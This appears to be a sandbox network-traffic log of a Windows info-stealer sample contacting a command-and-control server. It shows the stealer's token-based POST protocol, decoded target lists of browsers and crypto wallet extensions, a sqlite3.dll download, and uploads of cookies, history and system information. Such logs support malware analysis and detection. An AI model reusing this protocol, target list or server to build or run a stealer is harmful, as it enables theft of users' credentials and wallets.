Oct 29, 2024 04:52:07.496198893 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 42 68 4e 6a 56 6d 59 6a 45 35 4f 57 51 35 4d 57 45 77 59 54 4a 6b 4e 44 64 6b 59 57 59 79 4f 57 49 31 4e 47 59 77 5a 44 52 6b 4e 44 52 6a 4d 6a 46 68 4d 54 4d 31 4e 6a 49 33 59 6a 64 69 4e 44 67 77 59 57 59 78 4e 6a 49 77 5a 44 49 34 4d 54 51 77 4e 44 51 34 4e 57 51 35 4f 44 6b 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODBhNjVmYjE5OWQ5MWEwYTJkNDdkYWYyOWI1NGYwZDRkNDRjMjFhMTM1NjI3YjdiNDgwYWYxNjIwZDI4MTQwNDQ4NWQ5ODk5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 04:52:07.497641087 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="message"browsers------HJJJJKEHCAKFBFHJKEHC--
Oct 29, 2024 04:52:07.782933950 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 04:52:07.783070087 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 04:52:07.784756899 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"plugins------JJECAAEHCFIEBGCBGHIE--
Oct 29, 2024 04:52:08.079777002 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 04:52:08.079866886 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 04:52:08.080107927 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 04:52:08.080123901 CET	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 29, 2024 04:52:08.080530882 CET	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Oct 29, 2024 04:52:08.080545902 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJv
Oct 29, 2024 04:52:08.080562115 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 29, 2024 04:52:08.080578089 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 29, 2024 04:52:08.082134962 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="message"fplugins------EHJJECBKKECFIEBGCAKJ--
Oct 29, 2024 04:52:08.367474079 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 04:52:08.418648005 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.206 Content-Length: 5699 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:52:08.418709993 CET	5699	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 04:52:09.216520071 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:09.449120045 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:09.823275089 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 04:52:09.823426008 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49760	185.215.113.206	80	7420	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:52:21.445975065 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:52:21.446000099 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 29, 2024 04:52:22.864259005 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:22.975791931 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:52:22.975831032 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 29, 2024 04:52:23.757610083 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
